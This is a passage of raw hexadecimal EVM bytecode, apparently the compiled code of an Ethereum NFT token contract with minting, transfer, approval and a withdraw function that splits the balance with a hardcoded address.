007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610b3d57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ba557507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610bb55750610bb4826127f4565b5b9050919050565b610bc46127ec565b73ffffffffffffffffffffffffffffffffffffffff16610be2611d7e565b73ffffffffffffffffffffffffffffffffffffffff1614610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90614c3c565b60405180910390fd5b600e548210610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7390614afc565b60405180910390fd5b80600d600084815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b606060018054610ce4906152f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610d10906152f4565b8015610d5d5780601f10610d3257610100808354040283529160200191610d5d565b820191906000526020600020905b815481529060010190602001808311610d4057829003601f168201915b5050505050905090565b6000610d728261285e565b610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da890614e3c565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610df782611abb565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90614d1c565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610e876127ec565b73ffffffffffffffffffffffffffffffffffffffff161480610eb65750610eb581610eb06127ec565b61265a565b5b610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90614bbc565b60405180910390fd5b610f0083838361286b565b505050565b60008054905090565b600d600084815260200190815260200160002060000160009054906101000a900460ff16610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890614dbc565b60405180910390fd5b600c600083815260200190815260200160002060000160009054906101000a900460ff16610fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcb90614adc565b60405180910390fd5b601481511115611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090614cfc565b60405180910390fd5b60008151141561105e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105590614cdc565b60405180910390fd5b600d60008481526020019081526020016000206002015481516110819190615136565b34146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b990614cbc565b60405180910390fd5b60005b815181101561141b573373ffffffffffffffffffffffffffffffffffffffff16600d600086815260200190815260200160002060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e84848151811061114a57611149615468565b5b60200260200101516040518263ffffffff1660e01b815260040161116e9190614f1f565b60206040518083038186803b15801561118657600080fd5b505afa15801561119a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111be9190613ec5565b73ffffffffffffffffffffffffffffffffffffffff1614611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b90614dfc565b60405180910390fd5b60005b82518110156112b25780821461129f5782818151811061123a57611239615468565b5b602002602001015183838151811061125557611254615468565b5b6020026020010151141561129e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129590614b9c565b60405180910390fd5b5b80806112aa90615357565b915050611217565b506000838383815181106112c9576112c8615468565b5b6020026020010151866040516020016112e4939291906149b9565b6040516020818303038152906040528051906020012060001c9050600a600082815260200190815260200160002060009054906101000a900460ff1615611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790614bfc565b60405180910390fd5b6001600a600083815260200190815260200160002060006101000a81548160ff02191690831515021790555060405180606001604052808581526020018484815181106113b0576113af615468565b5b6020026020010151815260200186815250600b6000846113ce610f05565b6113d891906150af565b815260200190815260200160002060008201518160000155602082015181600101556040820151816002015590505050808061141390615357565b9150506110c5565b506000600d600085815260200190815260200160002060030154146114dc57600d600084815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600d6000868152602001908152602001600020600301546064346114ae9190615105565b6114b89190615136565b9081150290604051600060405180830381858888f193505050506114db57600080fd5b5b6114e784825161291d565b50505050565b6114f883838361293b565b505050565b600061150883611ad1565b8210611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090614abc565b60405180910390fd5b6000611553610f05565b905060008060005b838110156116b9576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff161461164d57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116a557868414156116965781955050505050506116f5565b83806116a190615357565b9450505b5080806116b190615357565b91505061155b565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ec90614ddc565b60405180910390fd5b92915050565b611716838383604051806020016040528060008152506122ee565b505050565b6060600061172883611ad1565b905060008167ffffffffffffffff81111561174657611745615497565b5b6040519080825280602002602001820160405280156117745781602001602082028036833780820191505090505b50905060005b828110156117be5761178c85826114fd565b82828151811061179f5761179e615468565b5b60200260200101818152505080806117b690615357565b91505061177a565b508092505050919050565b60006117d3610f05565b8210611814576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180b90614b5c565b60405180910390fd5b819050919050565b6118246127ec565b73ffffffffffffffffffffffffffffffffffffffff16611842611d7e565b73ffffffffffffffffffffffffffffffffffffffff1614611898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188f90614c3c565b60405180910390fd5b80600990805190602001906118ae929190613a45565b5050565b6118ba613acb565b6060600e548310611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f790614dbc565b60405180910390fd5b600d60008481526020019081526020016000206040518060a00160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282015481526020016003820154815250509150600d600084815260200190815260200160002060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015611a7757600080fd5b505afa158015611a8b573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611ab491906141ae565b9050915091565b6000611ac682612ef4565b600001519050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3990614bdc565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b611bc26127ec565b73ffffffffffffffffffffffffffffffffffffffff16611be0611d7e565b73ffffffffffffffffffffffffffffffffffffffff1614611c36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2d90614c3c565b60405180910390fd5b611c4060006130f7565b565b600073f654e178c293f84209da7dfefab0061e41f230849050611c63611d7e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611cc757508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611cd057600080fd5b60006032606447611ce19190615105565b611ceb9190615136565b905060008147611cfb91906151c4565b90508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050611d3b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050611d7957600080fd5b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054611db7906152f4565b80601f0160208091040260200160405190810160405280929190818152602001828054611de3906152f4565b8015611e305780601f10611e0557610100808354040283529160200191611e30565b820191906000526020600020905b815481529060010190602001808311611e1357829003601f168201915b5050505050905090565b611e426127ec565b73ffffffffffffffffffffffffffffffffffffffff16611e60611d7e565b73ffffffffffffffffffffffffffffffffffffffff1614611eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ead90614c3c565b60405180910390fd5b6001600c6000600f54815260200190815260200160002060000160006101000a81548160ff02191690831515021790555080600c6000600f5481526020019081526020016000206001019080519060200190611f13929190613a45565b506001600f6000828254611f2791906150af565b9250508190555050565b611f396127ec565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9e90614c7c565b60405180910390fd5b8060066000611fb46127ec565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166120616127ec565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516120a69190614a7f565b60405180910390a35050565b6120ba613b28565b60608060006120c7610f05565b8510612108576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ff90614d9c565b60405180910390fd5b600b600086815260200190815260200160002060405180606001604052908160008201548152602001600182015481526020016002820154815250509350600c600085600001518152602001908152602001600020600101805461216b906152f4565b80601f0160208091040260200160405190810160405280929190818152602001828054612197906152f4565b80156121e45780601f106121b9576101008083540402835291602001916121e4565b820191906000526020600020905b8154815290600101906020018083116121c757829003601f168201915b50505050509250600d60008560400151815260200190815260200160002060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b15801561226b57600080fd5b505afa15801561227f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906122a891906141ae565b9150600d60008560400151815260200190815260200160002060000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690509193509193565b6122f984848461293b565b612305848484846131bd565b612344576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233b90614d3c565b60405180910390fd5b50505050565b6123526127ec565b73ffffffffffffffffffffffffffffffffffffffff16612370611d7e565b73ffffffffffffffffffffffffffffffffffffffff16146123c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bd90614c3c565b60405180910390fd5b600e54821061240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614afc565b60405180910390fd5b80600d600084815260200190815260200160002060000160006101000a81548160ff0219169083151502179055505050565b600080838386604051602001612454939291906149b9565b6040516020818303038152906040528051906020012060001c9050600a600082815260200190815260200160002060009054906101000a900460ff161561249f5760019150506124a5565b60009150505b9392505050565b6124b46127ec565b73ffffffffffffffffffffffffffffffffffffffff166124d2611d7e565b73ffffffffffffffffffffffffffffffffffffffff1614612528576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251f90614c3c565b60405180910390fd5b600e54831061256c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256390614afc565b60405180910390fd5b81600d60008581526020019081526020016000206002018190555080600d600085815260200190815260200160002060030181905550505050565b60606125b28261285e565b6125f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e890614c5c565b60405180910390fd5b60006125fb613354565b9050600081511161261b5760405180602001604052806000815250612646565b80612625846133e6565b604051602001612636929190614995565b6040516020818303038152906040525b915050919050565b600e5481565b60075481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600f5481565b6126fc6127ec565b73ffffffffffffffffffffffffffffffffffffffff1661271a611d7e565b73ffffffffffffffffffffffffffffffffffffffff1614612770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276790614c3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156127e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d790614b1c565b60405180910390fd5b6127e9816130f7565b50565b600033905090565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6000805482109050919050565b826005600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550818373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a4505050565b612937828260405180602001604052806000815250613547565b5050565b600061294682612ef4565b90506000816000015173ffffffffffffffffffffffffffffffffffffffff1661296d6127ec565b73ffffffffffffffffffffffffffffffffffffffff1614806129c957506129926127ec565b73ffffffffffffffffffffffffffffffffffffffff166129b184610d67565b73ffffffffffffffffffffffffffffffffffffffff16145b806129e557506129e482600001516129df6127ec565b61265a565b5b905080612a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1e90614c9c565b60405180910390fd5b8473ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff1614612a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9090614c1c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0090614b7c565b60405180910390fd5b612b168585856001613a26565b612b26600084846000015161286b565b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16612b949190615190565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506001600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff16612c389190615069565b92506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060405180604001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600085815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050506000600184612d3e91906150af565b9050600073ffffffffffffffffffffffffffffffffffffffff166003600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612e8457612db48161285e565b15612e83576040518060400160405280846000015173ffffffffffffffffffffffffffffffffffffffff168152602001846020015167ffffffffffffffff168152506003600083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055509050505b5b838573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612eec8686866001613a2c565b505050505050565b612efc613b49565b612f058261285e565b612f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3b90614b3c565b60405180910390fd5b60007f00000000000000000000000000000000000000000000000000000000000000148310612fa85760017f000000000000000000000000000000000000000000000000000000000000001484612f9b91906151c4565b612fa591906150af565b90505b60008390505b8181106130b6576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16146130a2578093505050506130f2565b5080806130ae906152ca565b915050612fae565b506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130e990614e1c565b60405180910390fd5b919050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006131de8473ffffffffffffffffffffffffffffffffffffffff16613a32565b15613347578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026132076127ec565b8786866040518563ffffffff1660e01b81526004016132299493929190614a11565b602060405180830381600087803b15801561324357600080fd5b505af192505050801561327457506040513d601f19601f820116820180604052508101906132719190614138565b60015b6132f7573d80600081146132a4576040519150601f19603f3d011682016040523d82523d6000602084013e6132a9565b606091505b506000815114156132ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132e690614d3c565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161491505061334c565b600190505b949350505050565b606060098054613363906152f4565b80601f016020809104026020016040519081016040528092919081815260200182805461338f906152f4565b80156133dc5780601f106133b1576101008083540402835291602001916133dc565b820191906000526020600020905b8154815290600101906020018083116133bf57829003601f168201915b5050505050905090565b6060600082141561342e576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613542565b600082905060005b6000821461346057808061344990615357565b915050600a826134599190615105565b9150613436565b60008167ffffffffffffffff81111561347c5761347b615497565b5b6040519080825280601f01601f1916602001820160405280156134ae5781602001600182028036833780820191505090505b5090505b6000851461353b576001826134c791906151c4565b9150600a856134d691906153aa565b60306134e291906150af565b60f81b8183815181106134f8576134f7615468565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856135349190615105565b94506134b2565b8093505050505b919050565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156135bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135b490614d7c565b60405180910390fd5b6135c68161285e565b15613606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135fd90614d5c565b60405180910390fd5b7f0000000000000000000000000000000000000000000000000000000000000014831115613669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366090614e5c565b60405180910390fd5b6136766000858386613a26565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016000820160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681525050905060405180604001604052808583600001516137739190615069565b6fffffffffffffffffffffffffffffffff16815260200185836020015161379a9190615069565b6fffffffffffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060208201518160000160106101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555090505060405180604001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020014267ffffffffffffffff168152506003600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550905050600082905060005b85811015613a0957818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46139a960008884886131bd565b6139e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139df90614d3c565b60405180910390fd5b81806139f390615357565b9250508080613a0190615357565b915050613938565b5080600081905550613a1e6000878588613a2c565b505050505050565b50505050565b50505050565b600080823b905060008111915050919050565b828054613a51906152f4565b90600052602060002090601f016020900481019282613a735760008555613aba565b82601f10613a8c57805160ff1916838001178555613aba565b82800160010185558215613aba579182015b82811115613ab9578251825591602001919060010190613a9e565b5b509050613ac79190613b83565b5090565b6040518060a00160405280600015158152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600081525090565b60405180606001604052806000815260200160008152602001600081525090565b6040518060400160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681525090565b5b80821115613b9c576000816000905550600101613b84565b5090565b6000613bb3613bae84614f5f565b614f3a565b90508083825260208201905082856020860282011115613bd657613bd56154d0565b5b60005b85811015613c065781613bec8882613e83565b845260208401935060208301925050600181019050613bd9565b5050509392505050565b6000613c23613c1e84614f8b565b614f3a565b905082815260208101848484011115613c3f57613c3e6154d5565b5b613c4a848285615288565b509392505050565b6000613c65613c6084614fbc565b614f3a565b905082815260208101848484011115613c8157613c806154d5565b5b613c8c848285615288565b509392505050565b6000613ca7613ca284614fbc565b614f3a565b905082815260208101848484011115613cc357613cc26154d5565b5b613cce848285615297565b509392505050565b600081359050613ce581615c98565b92915050565b600081519050613cfa81615c98565b92915050565b600082601f830112613d1557613d146154c6565b5b8135613d25848260208601613ba0565b91505092915050565b600081359050613d3d81615caf565b92915050565b600081359050613d5281615cc6565b92915050565b600081519050613d6781615cc6565b92915050565b600082601f830112613d8257613d816154c6565b5b8135613d92848260208601613c10565b91505092915050565b600082601f830112613db057613daf6154c6565b5b8135613dc0848260208601613c52565b91505092915050565b600082601f830112613dde57613ddd6154c6565b5b8151613dee848260208601613c94565b91505092915050565b600060a08284031215613e0d57613e0c6154cb565b5b613e1760a0614f3a565b90506000613e2784828501613d2e565b6000830152506020613e3b84828501613cd6565b6020830152506040613e4f84828501613cd6565b6040830152506060613e6384828501613e83565b6060830152506080613e7784828501613e83565b60808301525092915050565b600081359050613e9281615cdd565b92915050565b600060208284031215613eae57613ead6154df565b5b6000613ebc84828501613cd6565b91505092915050565b600060208284031215613edb57613eda6154df565b5b6000613ee984828501613ceb565b91505092915050565b60008060408385031215613f0957613f086154df565b5b6000613f1785828601613cd6565b9250506020613f2885828601613cd6565b9150509250929050565b600080600060608486031215613f4b57613f4a6154df565b5b6000613f5986828701613cd6565b9350506020613f6a86828701613cd6565b9250506040613f7b86828701613e83565b9150509250925092565b60008060008060808587031215613f9f57613f9e6154df565b5b6000613fad87828801613cd6565b9450506020613fbe87828801613cd6565b9350506040613fcf87828801613e83565b925050606085013567ffffffffffffffff811115613ff057613fef6154da565b5b613ffc87828801613d6d565b91505092959194509250565b6000806040838503121561401f5761401e6154df565b5b600061402d85828601613cd6565b925050602061403e85828601613d2e565b9150509250929050565b6000806040838503121561405f5761405e6154df565b5b600061406d85828601613cd6565b925050602061407e85828601613e83565b9150509250929050565b600080600080608085870312156140a2576140a16154df565b5b60006140b087828801613cd6565b94505060206140c187828801613e83565b93505060406140d287828801613e83565b925050606085013567ffffffffffffffff8111156140f3576140f26154da565b5b6140ff87828801613d00565b91505092959194509250565b600060208284031215614121576141206154df565b5b600061412f84828501613d43565b91505092915050565b60006020828403121561414e5761414d6154df565b5b600061415c84828501613d58565b91505092915050565b60006020828403121561417b5761417a6154df565b5b600082013567ffffffffffffffff811115614199576141986154da565b5b6141a584828501613d9b565b91505092915050565b6000602082840312156141c4576141c36154df565b5b600082015167ffffffffffffffff8111156141e2576141e16154da565b5b6141ee84828501613dc9565b91505092915050565b600060a0828403121561420d5761420c6154df565b5b600061421b84828501613df7565b91505092915050565b60006020828403121561423a576142396154df565b5b600061424884828501613e83565b91505092915050565b60008060408385031215614268576142676154df565b5b600061427685828601613e83565b925050602061428785828601613cd6565b9150509250929050565b600080604083850312156142a8576142a76154df565b5b60006142b685828601613e83565b92505060206142c785828601613d2e565b9150509250929050565b6000806000606084860312156142ea576142e96154df565b5b60006142f886828701613e83565b935050602061430986828701613e83565b925050604061431a86828701613e83565b9150509250925092565b60006143308383614960565b60208301905092915050565b614345816151f8565b82525050565b614354816151f8565b82525050565b600061436582614ffd565b61436f818561502b565b935061437a83614fed565b8060005b838110156143ab5781516143928882614324565b975061439d8361501e565b92505060018101905061437e565b5085935050505092915050565b6143c18161520a565b82525050565b6143d08161520a565b82525050565b60006143e182615008565b6143eb818561503c565b93506143fb818560208601615297565b614404816154e4565b840191505092915050565b600061441a82615013565b614424818561504d565b9350614434818560208601615297565b61443d816154e4565b840191505092915050565b600061445382615013565b61445d818561505e565b935061446d818560208601615297565b80840191505092915050565b600061448660228361504d565b9150614491826154f5565b604082019050919050565b60006144a960138361504d565b91506144b482615544565b602082019050919050565b60006144cc60148361504d565b91506144d78261556d565b602082019050919050565b60006144ef60268361504d565b91506144fa82615596565b604082019050919050565b6000614512602a8361504d565b915061451d826155e5565b604082019050919050565b600061453560238361504d565b915061454082615634565b604082019050919050565b600061455860258361504d565b915061456382615683565b604082019050919050565b600061457b601e8361504d565b9150614586826156d2565b602082019050919050565b600061459e60398361504d565b91506145a9826156fb565b604082019050919050565b60006145c1602b8361504d565b91506145cc8261574a565b604082019050919050565b60006145e460198361504d565b91506145ef82615799565b602082019050919050565b600061460760268361504d565b9150614612826157c2565b604082019050919050565b600061462a60208361504d565b915061463582615811565b602082019050919050565b600061464d602f8361504d565b91506146588261583a565b604082019050919050565b6000614670601a8361504d565b915061467b82615889565b602082019050919050565b600061469360328361504d565b915061469e826158b2565b604082019050919050565b60006146b660118361504d565b91506146c182615901565b602082019050919050565b60006146d960148361504d565b91506146e48261592a565b602082019050919050565b60006146fc600a8361504d565b915061470782615953565b602082019050919050565b600061471f60228361504d565b915061472a8261597c565b604082019050919050565b600061474260338361504d565b915061474d826159cb565b604082019050919050565b6000614765601d8361504d565b915061477082615a1a565b602082019050919050565b600061478860218361504d565b915061479382615a43565b604082019050919050565b60006147ab600f8361504d565b91506147b682615a92565b602082019050919050565b60006147ce60188361504d565b91506147d982615abb565b602082019050919050565b60006147f1602e8361504d565b91506147fc82615ae4565b604082019050919050565b600061481460238361504d565b915061481f82615b33565b604082019050919050565b6000614837602f8361504d565b915061484282615b82565b604082019050919050565b600061485a602d8361504d565b915061486582615bd1565b604082019050919050565b600061487d60228361504d565b915061488882615c20565b604082019050919050565b60006148a060188361504d565b91506148ab82615c6f565b602082019050919050565b60a0820160008201516148cc60008501826143b8565b5060208201516148df602085018261433c565b5060408201516148f2604085018261433c565b5060608201516149056060850182614960565b5060808201516149186080850182614960565b50505050565b6060820160008201516149346000850182614960565b5060208201516149476020850182614960565b50604082015161495a6040850182614960565b50505050565b6149698161527e565b82525050565b6149788161527e565b82525050565b61498f61498a8261527e565b6153a0565b82525050565b60006149a18285614448565b91506149ad8284614448565b91508190509392505050565b60006149c5828661497e565b6020820191506149d5828561497e565b6020820191506149e5828461497e565b602082019150819050949350505050565b6000602082019050614a0b600083018461434b565b92915050565b6000608082019050614a26600083018761434b565b614a33602083018661434b565b614a40604083018561496f565b8181036060830152614a5281846143d6565b905095945050505050565b60006020820190508181036000830152614a77818461435a565b905092915050565b6000602082019050614a9460008301846143c7565b92915050565b60006020820190508181036000830152614ab4818461440f565b905092915050565b60006020820190508181036000830152614ad581614479565b9050919050565b60006020820190508181036000830152614af58161449c565b9050919050565b60006020820190508181036000830152614b15816144bf565b9050919050565b60006020820190508181036000830152614b35816144e2565b9050919050565b60006020820190508181036000830152614b5581614505565b9050919050565b60006020820190508181036000830152614b7581614528565b9050919050565b60006020820190508181036000830152614b958161454b565b9050919050565b60006020820190508181036000830152614bb58161456e565b9050919050565b60006020820190508181036000830152614bd581614591565b9050919050565b60006020820190508181036000830152614bf5816145b4565b9050919050565b60006020820190508181036000830152614c15816145d7565b9050919050565b60006020820190508181036000830152614c35816145fa565b9050919050565b60006020820190508181036000830152614c558161461d565b9050919050565b60006020820190508181036000830152614c7581614640565b9050919050565b60006020820190508181036000830152614c9581614663565b9050919050565b60006020820190508181036000830152614cb581614686565b9050919050565b60006020820190508181036000830152614cd5816146a9565b9050919050565b60006020820190508181036000830152614cf5816146cc565b9050919050565b60006020820190508181036000830152614d15816146ef565b9050919050565b60006020820190508181036000830152614d3581614712565b9050919050565b60006020820190508181036000830152614d5581614735565b9050919050565b60006020820190508181036000830152614d7581614758565b9050919050565b60006020820190508181036000830152614d958161477b565b9050919050565b6000602082019050818103600083015261